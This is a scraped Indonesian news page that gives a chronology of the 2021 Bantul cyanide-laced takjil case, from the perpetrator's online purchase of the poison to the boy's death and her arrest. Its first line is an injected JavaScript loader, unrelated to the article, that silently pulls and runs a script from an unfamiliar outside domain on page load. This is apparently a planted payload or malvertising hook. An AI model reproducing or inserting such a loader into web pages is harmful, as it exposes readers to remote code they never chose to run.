(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANTUK– Kasus takjil sianida yang menewaskan seorang anak driver ojek online (ojol), Bandiman (47) yakni Naba Faiz Prasetya (8) akhirnya terbongkar. Berikut kronologi lengkap kejadiannya:
Minggu, 28 Maret 2021
Kapolres Bantul AKBP Wachyu Tri Budi Sulistiyono mengungkap Nani memesan sianida melalui aplikasi online, pada 28 Maret 2021. Dalam riwayat pembelian melalui e-commerce itu pesannya sodium sianida.
“Jadi pesanannya di aplikasi tersebut Sodium Sianida. Tapi setelah dicek, ternyata Kalium Sianida,” katanya dalam jumpa pers di kantornya, Senin (3/5/2021).
Minggu, 25 April 2021
Bandiman yang tengah berisitirahat di samping sebuah masjid di Jalan Gayam, Kota Yogyakarta didatangi oleh seorang wanita pada sore hari itu.
“Dia bilang saya tidak punya aplikasi tapi saya ingin mengirimkan paket takjil ke Vila Bukit Asri di Bangunjiwo, Kapanewon Kasihan, Bantul,” ujar Bandiman saat ditemui di rumahnya, Selasa (27/4).
Bandiman menerima permintaan wanita tersebut. Bahkan, wanita itu meminta berapa tarif yang harus dibayar. “Terus saya ditanya minta berapa terus saya minta Rp 25 ribu dan malah dikasih Rp 30 ribu tidak usah mengembalikan kembaliannya,” ucapnya.
Namun setelah tiba di rumah tujuan yakni rumah Tomy, pihak penerima menolak makanan itu dengan alasan tak mengenal pengirimnya. Orang yang berada di rumah Tomy saat itu meminta Bandiman membawa makanan itu pulang untuk berbuka puasa.
Pukul 17.00 WIB
Saat itu anak keduanya yakni Naba pulang dari TPA membawa makanan takjil berupa gudeg, tapi dia tidak terlalu suka. Naba lalu memakan sate beserta lontong dan bumbunya bersama sang ibu.
Naba mengeluh merasakan pahit dan panas, lalu dia berlari ke kulkas untuk meminum air es. Naba lalu terjatuh sementara ibunya muntah-muntah.
Keduanya lalu dilarikan ke RSUD Kota Yogyakarta usai magrib. Sang anak sempat mendapat tindakan selama 15 menit namun akhirnya nyawanya tak tertolong. Sedangkan istri Bandiman mendapatkan perawatan.
Kamis, 29 April 2021
Kasat Reskrim Polres Bantul AKP Ngadi memastikan bahwa bumbu sate yang dimakan oleh Naba dan istri Bandiman positif mengandung racun jenis C. Racun tersebut ditemukan pada bumbu sate, sedangkan pada sate yang tidak terkena bumbu tidak ditemukan adanya kandungan racun.
Jumat, 30 April 2021
Polisi akhirnya menangkap pelaku takjil sianida bernama Nani Aprilliani Nurjaman (25) di rumahnya Kalurahan Potorono, Kapanewon Banguntapan, Bantul.
“Ditangkap di Potorono, di rumah dan tersangka tinggal sendiri,” ujar Direskrimum Polda DIY Kombes Burkan Rudy Satria dalam jumpa pers siang tadi. (sip/ams/detik)
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.